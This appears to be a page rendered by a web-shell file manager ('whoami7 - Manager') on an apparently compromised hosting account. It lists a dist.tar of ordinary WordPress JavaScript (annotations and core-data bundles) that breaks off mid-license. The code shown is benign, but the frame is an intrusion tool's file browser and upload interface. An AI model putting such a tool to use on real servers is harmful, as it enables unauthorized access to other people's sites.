whoami7 - Manager
:
/
home
/
mahaadedsdfdfhfg
/
www
/
Upload File:
files >> /home/mahaadedsdfdfhfg/www/dist.tar
annotations.min.js 0000644 00000012621 15004111010 0010202 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var t={d:(e,n)=>{for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};t.r(e),t.d(e,{store:()=>C});var n={};t.r(n),t.d(n,{__experimentalGetAllAnnotationsForBlock:()=>x,__experimentalGetAnnotations:()=>N,__experimentalGetAnnotationsForBlock:()=>y,__experimentalGetAnnotationsForRichText:()=>T});var r={};t.r(r),t.d(r,{__experimentalAddAnnotation:()=>R,__experimentalRemoveAnnotation:()=>U,__experimentalRemoveAnnotationsBySource:()=>k,__experimentalUpdateAnnotationRange:()=>S});const o=window.wp.richText,a=window.wp.i18n,i="core/annotations",c="core/annotation",l="annotation-text-";const s={name:c,title:(0,a.__)("Annotation"),tagName:"mark",className:"annotation-text",attributes:{className:"class",id:"id"},edit:()=>null,__experimentalGetPropsForEditableTreePreparation:(t,{richTextIdentifier:e,blockClientId:n})=>({annotations:t(i).__experimentalGetAnnotationsForRichText(n,e)}),__experimentalCreatePrepareEditableTree:({annotations:t})=>(e,n)=>{if(0===t.length)return e;let r={formats:e,text:n};return r=function(t,e=[]){return e.forEach((e=>{let{start:n,end:r}=e;n>t.text.length&&(n=t.text.length),r>t.text.length&&(r=t.text.length);const a=l+e.source,i=l+e.id;t=(0,o.applyFormat)(t,{type:c,attributes:{className:a,id:i}},n,r)})),t}(r,t),r.formats},__experimentalGetPropsForEditableTreeChangeHandler:t=>({removeAnnotation:t(i).__experimentalRemoveAnnotation,updateAnnotationRange:t(i).__experimentalUpdateAnnotationRange}),__experimentalCreateOnChangeEditableValue:t=>e=>{const n=function(t){const e={};return t.forEach(((t,n)=>{(t=(t=t||[]).filter((t=>t.type===c))).forEach((t=>{let{id:r}=t.attributes;r=r.replace(l,""),e.hasOwnProperty(r)||(e[r]={start:n}),e[r].end=n+1}))})),e}(e),{removeAnnotation:r,updateAnnotationRange:o,annotations:a}=t;!function(t,e,{removeAnnotation:n,updateAnnotationRange:r}){t.forEach((t=>{const o=e[t.id];if(!o)return void n(t.id);const{start:a,end:i}=t;a===o.start&&i===o.end||r(t.id,o.start,o.end)}))}(a,n,{removeAnnotation:r,updateAnnotationRange:o})}},{name:d,...u}=s;(0,o.registerFormatType)(d,u);const p=window.wp.hooks,m=window.wp.data;function f(t,e){const n=t.filter(e);return t.length===n.length?t:n}(0,p.addFilter)("editor.BlockListBlock","core/annotations",(t=>(0,m.withSelect)(((t,{clientId:e,className:n})=>({className:t(i).__experimentalGetAnnotationsForBlock(e).map((t=>"is-annotated-by-"+t.source)).concat(n).filter(Boolean).join(" ")})))(t)));const _=(t,e)=>Object.entries(t).reduce(((t,[n,r])=>({...t,[n]:e(r)})),{});const A=function(t={},e){var n;switch(e.type){case"ANNOTATION_ADD":const r=e.blockClientId,o={id:e.id,blockClientId:r,richTextIdentifier:e.richTextIdentifier,source:e.source,selector:e.selector,range:e.range};if("range"===o.selector&&!function(t){return"number"==typeof t.start&&"number"==typeof t.end&&t.start<=t.end}(o.range))return t;const a=null!==(n=t?.[r])&&void 0!==n?n:[];return{...t,[r]:[...a,o]};case"ANNOTATION_REMOVE":return _(t,(t=>f(t,(t=>t.id!==e.annotationId))));case"ANNOTATION_UPDATE_RANGE":return _(t,(t=>{let n=!1;const r=t.map((t=>t.id===e.annotationId?(n=!0,{...t,range:{start:e.start,end:e.end}}):t));return n?r:t}));case"ANNOTATION_REMOVE_SOURCE":return _(t,(t=>f(t,(t=>t.source!==e.source))))}return t},g=[],y=(0,m.createSelector)(((t,e)=>{var n;return(null!==(n=t?.[e])&&void 0!==n?n:[]).filter((t=>"block"===t.selector))}),((t,e)=>{var n;return[null!==(n=t?.[e])&&void 0!==n?n:g]}));function x(t,e){var n;return null!==(n=t?.[e])&&void 0!==n?n:g}const T=(0,m.createSelector)(((t,e,n)=>{var r;return(null!==(r=t?.[e])&&void 0!==r?r:[]).filter((t=>"range"===t.selector&&n===t.richTextIdentifier)).map((t=>{const{range:e,...n}=t;return{...e,...n}}))}),((t,e)=>{var n;return[null!==(n=t?.[e])&&void 0!==n?n:g]}));function N(t){return Object.values(t).flat()}const h={randomUUID:"undefined"!=typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};let O;const b=new Uint8Array(16);function I(){if(!O&&(O="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!O))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return O(b)}const v=[];for(let t=0;t<256;++t)v.push((t+256).toString(16).slice(1));function w(t,e=0){return v[t[e+0]]+v[t[e+1]]+v[t[e+2]]+v[t[e+3]]+"-"+v[t[e+4]]+v[t[e+5]]+"-"+v[t[e+6]]+v[t[e+7]]+"-"+v[t[e+8]]+v[t[e+9]]+"-"+v[t[e+10]]+v[t[e+11]]+v[t[e+12]]+v[t[e+13]]+v[t[e+14]]+v[t[e+15]]}const E=function(t,e,n){if(h.randomUUID&&!e&&!t)return h.randomUUID();const r=(t=t||{}).random||(t.rng||I)();if(r[6]=15&r[6]|64,r[8]=63&r[8]|128,e){n=n||0;for(let t=0;t<16;++t)e[n+t]=r[t];return e}return w(r)};function R({blockClientId:t,richTextIdentifier:e=null,range:n=null,selector:r="range",source:o="default",id:a=E()}){const i={type:"ANNOTATION_ADD",id:a,blockClientId:t,richTextIdentifier:e,source:o,selector:r};return"range"===r&&(i.range=n),i}function U(t){return{type:"ANNOTATION_REMOVE",annotationId:t}}function S(t,e,n){return{type:"ANNOTATION_UPDATE_RANGE",annotationId:t,start:e,end:n}}function k(t){return{type:"ANNOTATION_REMOVE_SOURCE",source:t}}const C=(0,m.createReduxStore)(i,{reducer:A,selectors:n,actions:r});(0,m.register)(C),(window.wp=window.wp||{}).annotations=e})(); core-data.js 0000644 00001012345 15004111010 0006726 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ var __webpack_modules__ = ({ /***/ 3249: /***/ ((module) => { function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function (obj) { return typeof obj; }; } else { _typeof = function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Given an instance of EquivalentKeyMap, returns its internal value pair tuple * for a key, if one exists. The tuple members consist of the last reference * value for the key (used in efficient subsequent lookups) and the value * assigned for the key at the leaf node. * * @param {EquivalentKeyMap} instance EquivalentKeyMap instance. * @param {*} key The key for which to return value pair. * * @return {?Array} Value pair, if exists. */ function getValuePair(instance, key) { var _map = instance._map, _arrayTreeMap = instance._arrayTreeMap, _objectTreeMap = instance._objectTreeMap; // Map keeps a reference to the last object-like key used to set the // value, which can be used to shortcut immediately to the value. if (_map.has(key)) { return _map.get(key); } // Sort keys to ensure stable retrieval from tree. var properties = Object.keys(key).sort(); // Tree by type to avoid conflicts on numeric object keys, empty value. var map = Array.isArray(key) ? _arrayTreeMap : _objectTreeMap; for (var i = 0; i < properties.length; i++) { var property = properties[i]; map = map.get(property); if (map === undefined) { return; } var propertyValue = key[property]; map = map.get(propertyValue); if (map === undefined) { return; } } var valuePair = map.get('_ekm_value'); if (!valuePair) { return; } // If reached, it implies that an object-like key was set with another // reference, so delete the reference and replace with the current. _map.delete(valuePair[0]); valuePair[0] = key; map.set('_ekm_value', valuePair); _map.set(key, valuePair); return valuePair; } /** * Variant of a Map object which enables lookup by equivalent (deeply equal) * object and array keys. */ var EquivalentKeyMap = /*#__PURE__*/ function () { /** * Constructs a new instance of EquivalentKeyMap. * * @param {Iterable.<*>} iterable Initial pair of key, value for map. */ function EquivalentKeyMap(iterable) { _classCallCheck(this, EquivalentKeyMap); this.clear(); if (iterable instanceof EquivalentKeyMap) { // Map#forEach is only means of iterating with support for IE11. var iterablePairs = []; iterable.forEach(function (value, key) { iterablePairs.push([key, value]); }); iterable = iterablePairs; } if (iterable != null) { for (var i = 0; i < iterable.length; i++) { this.set(iterable[i][0], iterable[i][1]); } } } /** * Accessor property returning the number of elements. * * @return {number} Number of elements. */ _createClass(EquivalentKeyMap, [{ key: "set", /** * Add or update an element with a specified key and value. * * @param {*} key The key of the element to add. * @param {*} value The value of the element to add. * * @return {EquivalentKeyMap} Map instance. */ value: function set(key, value) { // Shortcut non-object-like to set on internal Map. if (key === null || _typeof(key) !== 'object') { this._map.set(key, value); return this; } // Sort keys to ensure stable assignment into tree. var properties = Object.keys(key).sort(); var valuePair = [key, value]; // Tree by type to avoid conflicts on numeric object keys, empty value. var map = Array.isArray(key) ? this._arrayTreeMap : this._objectTreeMap; for (var i = 0; i < properties.length; i++) { var property = properties[i]; if (!map.has(property)) { map.set(property, new EquivalentKeyMap()); } map = map.get(property); var propertyValue = key[property]; if (!map.has(propertyValue)) { map.set(propertyValue, new EquivalentKeyMap()); } map = map.get(propertyValue); } // If an _ekm_value exists, there was already an equivalent key. Before // overriding, ensure that the old key reference is removed from map to // avoid memory leak of accumulating equivalent keys. This is, in a // sense, a poor man's WeakMap, while still enabling iterability. var previousValuePair = map.get('_ekm_value'); if (previousValuePair) { this._map.delete(previousValuePair[0]); } map.set('_ekm_value', valuePair); this._map.set(key, valuePair); return this; } /** * Returns a specified element. * * @param {*} key The key of the element to return. * * @return {?*} The element associated with the specified key or undefined * if the key can't be found. */ }, { key: "get", value: function get(key) { // Shortcut non-object-like to get from internal Map. if (key === null || _typeof(key) !== 'object') { return this._map.get(key); } var valuePair = getValuePair(this, key); if (valuePair) { return valuePair[1]; } } /** * Returns a boolean indicating whether an element with the specified key * exists or not. * * @param {*} key The key of the element to test for presence. * * @return {boolean} Whether an element with the specified key exists. */ }, { key: "has", value: function has(key) { if (key === null || _typeof(key) !== 'object') { return this._map.has(key); } // Test on the _presence_ of the pair, not its value, as even undefined // can be a valid member value for a key. return getValuePair(this, key) !== undefined; } /** * Removes the specified element. * * @param {*} key The key of the element to remove. * * @return {boolean} Returns true if an element existed and has been * removed, or false if the element does not exist. */ }, { key: "delete", value: function _delete(key) { if (!this.has(key)) { return false; } // This naive implementation will leave orphaned child trees. A better // implementation should traverse and remove orphans. this.set(key, undefined); return true; } /** * Executes a provided function once per each key/value pair, in insertion * order. * * @param {Function} callback Function to execute for each element. * @param {*} thisArg Value to use as `this` when executing * `callback`. */ }, { key: "forEach", value: function forEach(callback) { var _this = this; var thisArg = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this; this._map.forEach(function (value, key) { // Unwrap value from object-like value pair. if (key !== null && _typeof(key) === 'object') { value = value[1]; } callback.call(thisArg, value, key, _this); }); } /** * Removes all elements. */ }, { key: "clear", value: function clear() { this._map = new Map(); this._arrayTreeMap = new Map(); this._objectTreeMap = new Map(); } }, { key: "size", get: function get() { return this._map.size; } }]); return EquivalentKeyMap; }(); module.exports = EquivalentKeyMap; /***/ }), /***/ 7734: /***/ ((module) => { // do not edit .js files directly - edit src/index.jst var envHasBigInt64Array = typeof BigInt64Array !== 'undefined'; module.exports = function equal(a, b) { if (a === b) return true; if (a && b && typeof a == 'object' && typeof b == 'object') { if (a.constructor !== b.constructor) return false; var length, i, keys; if (Array.isArray(a)) { length = a.length; if (length != b.length) return false; for (i = length; i-- !== 0;) if (!equal(a[i], b[i])) return false; return true; } if ((a instanceof Map) && (b instanceof Map)) { if (a.size !== b.size) return false; for (i of a.entries()) if (!b.has(i[0])) return false; for (i of a.entries()) if (!equal(i[1], b.get(i[0]))) return false; return true; } if ((a instanceof Set) && (b instanceof Set)) { if (a.size !== b.size) return false; for (i of a.entries()) if (!b.has(i[0])) return false; return true; } if (ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) { length = a.length; if (length != b.length) return false; for (i = length; i-- !== 0;) if (a[i] !== b[i]) return false; return true; } if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags; if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf(); if (a.toString !== Object.prototype.toString) return a.toString() === b.toString(); keys = Object.keys(a); length = keys.length; if (length !== Object.keys(b).length) return false; for (i = length; i-- !== 0;) if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false; for (i = length; i-- !== 0;) { var key = keys[i]; if (!equal(a[key], b[key])) return false; } return true; } // true if both NaN, false otherwise return a!==a && b!==b; }; /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { EntityProvider: () => (/* reexport */ EntityProvider), __experimentalFetchLinkSuggestions: () => (/* reexport */ fetchLinkSuggestions), __experimentalFetchUrlData: () => (/* reexport */ _experimental_fetch_url_data), __experimentalUseEntityRecord: () => (/* reexport */ __experimentalUseEntityRecord), __experimentalUseEntityRecords: () => (/* reexport */ __experimentalUseEntityRecords), __experimentalUseResourcePermissions: () => (/* reexport */ __experimentalUseResourcePermissions), fetchBlockPatterns: () => (/* reexport */ fetchBlockPatterns), privateApis: () => (/* reexport */ privateApis), store: () => (/* binding */ store), useEntityBlockEditor: () => (/* reexport */ useEntityBlockEditor), useEntityId: () => (/* reexport */ useEntityId), useEntityProp: () => (/* reexport */ useEntityProp), useEntityRecord: () => (/* reexport */ useEntityRecord), useEntityRecords: () => (/* reexport */ useEntityRecords), useResourcePermissions: () => (/* reexport */ use_resource_permissions) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/core-data/build-module/selectors.js var build_module_selectors_namespaceObject = {}; __webpack_require__.r(build_module_selectors_namespaceObject); __webpack_require__.d(build_module_selectors_namespaceObject, { __experimentalGetCurrentGlobalStylesId: () => (__experimentalGetCurrentGlobalStylesId), __experimentalGetCurrentThemeBaseGlobalStyles: () => (__experimentalGetCurrentThemeBaseGlobalStyles), __experimentalGetCurrentThemeGlobalStylesVariations: () => (__experimentalGetCurrentThemeGlobalStylesVariations), __experimentalGetDirtyEntityRecords: () => (__experimentalGetDirtyEntityRecords), __experimentalGetEntitiesBeingSaved: () => (__experimentalGetEntitiesBeingSaved), __experimentalGetEntityRecordNoResolver: () => (__experimentalGetEntityRecordNoResolver), canUser: () => (canUser), canUserEditEntityRecord: () => (canUserEditEntityRecord), getAuthors: () => (getAuthors), getAutosave: () => (getAutosave), getAutosaves: () => (getAutosaves), getBlockPatternCategories: () => (getBlockPatternCategories), getBlockPatterns: () => (getBlockPatterns), getCurrentTheme: () => (getCurrentTheme), getCurrentThemeGlobalStylesRevisions: () => (getCurrentThemeGlobalStylesRevisions), getCurrentUser: () => (getCurrentUser), getDefaultTemplateId: () => (getDefaultTemplateId), getEditedEntityRecord: () => (getEditedEntityRecord), getEmbedPreview: () => (getEmbedPreview), getEntitiesByKind: () => (getEntitiesByKind), getEntitiesConfig: () => (getEntitiesConfig), getEntity: () => (getEntity), getEntityConfig: () => (getEntityConfig), getEntityRecord: () => (getEntityRecord), getEntityRecordEdits: () => (getEntityRecordEdits), getEntityRecordNonTransientEdits: () => (getEntityRecordNonTransientEdits), getEntityRecords: () => (getEntityRecords), getEntityRecordsTotalItems: () => (getEntityRecordsTotalItems), getEntityRecordsTotalPages: () => (getEntityRecordsTotalPages), getLastEntityDeleteError: () => (getLastEntityDeleteError), getLastEntitySaveError: () => (getLastEntitySaveError), getRawEntityRecord: () => (getRawEntityRecord), getRedoEdit: () => (getRedoEdit), getReferenceByDistinctEdits: () => (getReferenceByDistinctEdits), getRevision: () => (getRevision), getRevisions: () => (getRevisions), getThemeSupports: () => (getThemeSupports), getUndoEdit: () => (getUndoEdit), getUserPatternCategories: () => (getUserPatternCategories), getUserQueryResults: () => (getUserQueryResults), hasEditsForEntityRecord: () => (hasEditsForEntityRecord), hasEntityRecords: () => (hasEntityRecords), hasFetchedAutosaves: () => (hasFetchedAutosaves), hasRedo: () => (hasRedo), hasUndo: () => (hasUndo), isAutosavingEntityRecord: () => (isAutosavingEntityRecord), isDeletingEntityRecord: () => (isDeletingEntityRecord), isPreviewEmbedFallback: () => (isPreviewEmbedFallback), isRequestingEmbedPreview: () => (isRequestingEmbedPreview), isSavingEntityRecord: () => (isSavingEntityRecord) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/core-data/build-module/private-selectors.js var private_selectors_namespaceObject = {}; __webpack_require__.r(private_selectors_namespaceObject); __webpack_require__.d(private_selectors_namespaceObject, { getBlockPatternsForPostType: () => (getBlockPatternsForPostType), getEntityRecordPermissions: () => (getEntityRecordPermissions), getEntityRecordsPermissions: () => (getEntityRecordsPermissions), getHomePage: () => (getHomePage), getNavigationFallbackId: () => (getNavigationFallbackId), getPostsPageId: () => (getPostsPageId), getRegisteredPostMeta: () => (getRegisteredPostMeta), getTemplateId: () => (getTemplateId), getUndoManager: () => (getUndoManager) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/core-data/build-module/actions.js var build_module_actions_namespaceObject = {}; __webpack_require__.r(build_module_actions_namespaceObject); __webpack_require__.d(build_module_actions_namespaceObject, { __experimentalBatch: () => (__experimentalBatch), __experimentalReceiveCurrentGlobalStylesId: () => (__experimentalReceiveCurrentGlobalStylesId), __experimentalReceiveThemeBaseGlobalStyles: () => (__experimentalReceiveThemeBaseGlobalStyles), __experimentalReceiveThemeGlobalStyleVariations: () => (__experimentalReceiveThemeGlobalStyleVariations), __experimentalSaveSpecifiedEntityEdits: () => (__experimentalSaveSpecifiedEntityEdits), __unstableCreateUndoLevel: () => (__unstableCreateUndoLevel), addEntities: () => (addEntities), deleteEntityRecord: () => (deleteEntityRecord), editEntityRecord: () => (editEntityRecord), receiveAutosaves: () => (receiveAutosaves), receiveCurrentTheme: () => (receiveCurrentTheme), receiveCurrentUser: () => (receiveCurrentUser), receiveDefaultTemplateId: () => (receiveDefaultTemplateId), receiveEmbedPreview: () => (receiveEmbedPreview), receiveEntityRecords: () => (receiveEntityRecords), receiveNavigationFallbackId: () => (receiveNavigationFallbackId), receiveRevisions: () => (receiveRevisions), receiveThemeGlobalStyleRevisions: () => (receiveThemeGlobalStyleRevisions), receiveThemeSupports: () => (receiveThemeSupports), receiveUploadPermissions: () => (receiveUploadPermissions), receiveUserPermission: () => (receiveUserPermission), receiveUserPermissions: () => (receiveUserPermissions), receiveUserQuery: () => (receiveUserQuery), redo: () => (redo), saveEditedEntityRecord: () => (saveEditedEntityRecord), saveEntityRecord: () => (saveEntityRecord), undo: () => (undo) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/core-data/build-module/private-actions.js var private_actions_namespaceObject = {}; __webpack_require__.r(private_actions_namespaceObject); __webpack_require__.d(private_actions_namespaceObject, { receiveRegisteredPostMeta: () => (receiveRegisteredPostMeta) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/core-data/build-module/resolvers.js var resolvers_namespaceObject = {}; __webpack_require__.r(resolvers_namespaceObject); __webpack_require__.d(resolvers_namespaceObject, { __experimentalGetCurrentGlobalStylesId: () => (resolvers_experimentalGetCurrentGlobalStylesId), __experimentalGetCurrentThemeBaseGlobalStyles: () => (resolvers_experimentalGetCurrentThemeBaseGlobalStyles), __experimentalGetCurrentThemeGlobalStylesVariations: () => (resolvers_experimentalGetCurrentThemeGlobalStylesVariations), canUser: () => (resolvers_canUser), canUserEditEntityRecord: () => (resolvers_canUserEditEntityRecord), getAuthors: () => (resolvers_getAuthors), getAutosave: () => (resolvers_getAutosave), getAutosaves: () => (resolvers_getAutosaves), getBlockPatternCategories: () => (resolvers_getBlockPatternCategories), getBlockPatterns: () => (resolvers_getBlockPatterns), getCurrentTheme: () => (resolvers_getCurrentTheme), getCurrentThemeGlobalStylesRevisions: () => (resolvers_getCurrentThemeGlobalStylesRevisions), getCurrentUser: () => (resolvers_getCurrentUser), getDefaultTemplateId: () => (resolvers_getDefaultTemplateId), getEditedEntityRecord: () => (resolvers_getEditedEntityRecord), getEmbedPreview: () => (resolvers_getEmbedPreview), getEntitiesConfig: () => (resolvers_getEntitiesConfig), getEntityRecord: () => (resolvers_getEntityRecord), getEntityRecords: () => (resolvers_getEntityRecords), getNavigationFallbackId: () => (resolvers_getNavigationFallbackId), getRawEntityRecord: () => (resolvers_getRawEntityRecord), getRegisteredPostMeta: () => (resolvers_getRegisteredPostMeta), getRevision: () => (resolvers_getRevision), getRevisions: () => (resolvers_getRevisions), getThemeSupports: () => (resolvers_getThemeSupports), getUserPatternCategories: () => (resolvers_getUserPatternCategories) }); ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; // EXTERNAL MODULE: ./node_modules/fast-deep-equal/es6/index.js var es6 = __webpack_require__(7734); var es6_default = /*#__PURE__*/__webpack_require__.n(es6); ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","isShallowEqual"] const external_wp_isShallowEqual_namespaceObject = window["wp"]["isShallowEqual"]; var external_wp_isShallowEqual_default = /*#__PURE__*/__webpack_require__.n(external_wp_isShallowEqual_namespaceObject); ;// ./node_modules/@wordpress/undo-manager/build-module/index.js /** * WordPress dependencies */ /** @typedef {import('./types').HistoryRecord} HistoryRecord */ /** @typedef {import('./types').HistoryChange} HistoryChange */ /** @typedef {import('./types').HistoryChanges} HistoryChanges */ /** @typedef {import('./types').UndoManager} UndoManager */ /** * Merge changes for a single item into a record of changes. * * @param {Record< string, HistoryChange >} changes1 Previous changes * @param {Record< string, HistoryChange >} changes2 NextChanges * * @return {Record< string, HistoryChange >} Merged changes */ function mergeHistoryChanges(changes1, changes2) { /** * @type {Record< string, HistoryChange >} */ const newChanges = { ...changes1 }; Object.entries(changes2).forEach(([key, value]) => { if (newChanges[key]) { newChanges[key] = { ...newChanges[key], to: value.to }; } else { newChanges[key] = value; } }); return newChanges; } /** * Adds history changes for a single item into a record of changes. * * @param {HistoryRecord} record The record to merge into. * @param {HistoryChanges} changes The changes to merge. */ const addHistoryChangesIntoRecord = (record, changes) => { const existingChangesIndex = record?.findIndex(({ id: recordIdentifier }) => { return typeof recordIdentifier === 'string' ? recordIdentifier === changes.id : external_wp_isShallowEqual_default()(recordIdentifier, changes.id); }); const nextRecord = [...record]; if (existingChangesIndex !== -1) { // If the edit is already in the stack leave the initial "from" value. nextRecord[existingChangesIndex] = { id: changes.id, changes: mergeHistoryChanges(nextRecord[existingChangesIndex].changes, changes.changes) }; } else { nextRecord.push(changes); } return nextRecord; }; /** * Creates an undo manager. * * @return {UndoManager} Undo manager. */ function createUndoManager() { /** * @type {HistoryRecord[]} */ let history = []; /** * @type {HistoryRecord} */ let stagedRecord = []; /** * @type {number} */ let offset = 0; const dropPendingRedos = () => { history = history.slice(0, offset || undefined); offset = 0; }; const appendStagedRecordToLatestHistoryRecord = () => { var _history$index; const index = history.length === 0 ? 0 : history.length - 1; let latestRecord = (_history$index = history[index]) !== null && _history$index !== void 0 ? _history$index : []; stagedRecord.forEach(changes => { latestRecord = addHistoryChangesIntoRecord(latestRecord, changes); }); stagedRecord = []; history[index] = latestRecord; }; /** * Checks whether a record is empty. * A record is considered empty if it the changes keep the same values. * Also updates to function values are ignored. * * @param {HistoryRecord} record * @return {boolean} Whether the record is empty. */ const isRecordEmpty = record => { const filteredRecord = record.filter(({ changes }) => { return Object.values(changes).some(({ from, to }) => typeof from !== 'function' && typeof to !== 'function' && !external_wp_isShallowEqual_default()(from, to)); }); return !filteredRecord.length; }; return { /** * Record changes into the history. * * @param {HistoryRecord=} record A record of changes to record. * @param {boolean} isStaged Whether to immediately create an undo point or not. */ addRecord(record, isStaged = false) { const isEmpty = !record || isRecordEmpty(record); if (isStaged) { if (isEmpty) { return; } record.forEach(changes => { stagedRecord = addHistoryChangesIntoRecord(stagedRecord, changes); }); } else { dropPendingRedos(); if (stagedRecord.length) { appendStagedRecordToLatestHistoryRecord(); } if (isEmpty) { return; } history.push(record); } }, undo() { if (stagedRecord.length) { dropPendingRedos(); appendStagedRecordToLatestHistoryRecord(); } const undoRecord = history[history.length - 1 + offset]; if (!undoRecord) { return; } offset -= 1; return undoRecord; }, redo() { const redoRecord = history[history.length + offset]; if (!redoRecord) { return; } offset += 1; return redoRecord; }, hasUndo() { return !!history[history.length - 1 + offset]; }, hasRedo() { return !!history[history.length + offset]; } }; } ;// ./node_modules/@wordpress/core-data/build-module/utils/if-matching-action.js /** @typedef {import('../types').AnyFunction} AnyFunction */ /** * A higher-order reducer creator which invokes the original reducer only if * the dispatching action matches the given predicate, **OR** if state is * initializing (undefined). * * @param {AnyFunction} isMatch Function predicate for allowing reducer call. * * @return {AnyFunction} Higher-order reducer. */ const ifMatchingAction = isMatch => reducer => (state, action) => { if (state === undefined || isMatch(action)) { return reducer(state, action); } return state; }; /* harmony default export */ const if_matching_action = (ifMatchingAction); ;// ./node_modules/@wordpress/core-data/build-module/utils/replace-action.js /** @typedef {import('../types').AnyFunction} AnyFunction */ /** * Higher-order reducer creator which substitutes the action object before * passing to the original reducer. * * @param {AnyFunction} replacer Function mapping original action to replacement. * * @return {AnyFunction} Higher-order reducer. */ const replaceAction = replacer => reducer => (state, action) => { return reducer(state, replacer(action)); }; /* harmony default export */ const replace_action = (replaceAction); ;// ./node_modules/@wordpress/core-data/build-module/utils/conservative-map-item.js /** * External dependencies */ /** * Given the current and next item entity record, returns the minimally "modified" * result of the next item, preferring value references from the original item * if equal. If all values match, the original item is returned. * * @param {Object} item Original item. * @param {Object} nextItem Next item. * * @return {Object} Minimally modified merged item. */ function conservativeMapItem(item, nextItem) { // Return next item in its entirety if there is no original item. if (!item) { return nextItem; } let hasChanges = false; const result = {}; for (const key in nextItem) { if (es6_default()(item[key], nextItem[key])) { result[key] = item[key]; } else { hasChanges = true; result[key] = nextItem[key]; } } if (!hasChanges) { return item; } // Only at this point, backfill properties from the original item which // weren't explicitly set into the result above. This is an optimization // to allow `hasChanges` to return early. for (const key in item) { if (!result.hasOwnProperty(key)) { result[key] = item[key]; } } return result; } ;// ./node_modules/@wordpress/core-data/build-module/utils/on-sub-key.js /** @typedef {import('../types').AnyFunction} AnyFunction */ /** * Higher-order reducer creator which creates a combined reducer object, keyed * by a property on the action object. * * @param {string} actionProperty Action property by which to key object. * * @return {AnyFunction} Higher-order reducer. */ const onSubKey = actionProperty => reducer => (state = {}, action) => { // Retrieve subkey from action. Do not track if undefined; useful for cases // where reducer is scoped by action shape. const key = action[actionProperty]; if (key === undefined) { return state; } // Avoid updating state if unchanged. Note that this also accounts for a // reducer which returns undefined on a key which is not yet tracked. const nextKeyState = reducer(state[key], action); if (nextKeyState === state[key]) { return state; } return { ...state, [key]: nextKeyState }; }; /* harmony default export */ const on_sub_key = (onSubKey); ;// ./node_modules/tslib/tslib.es6.mjs /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES 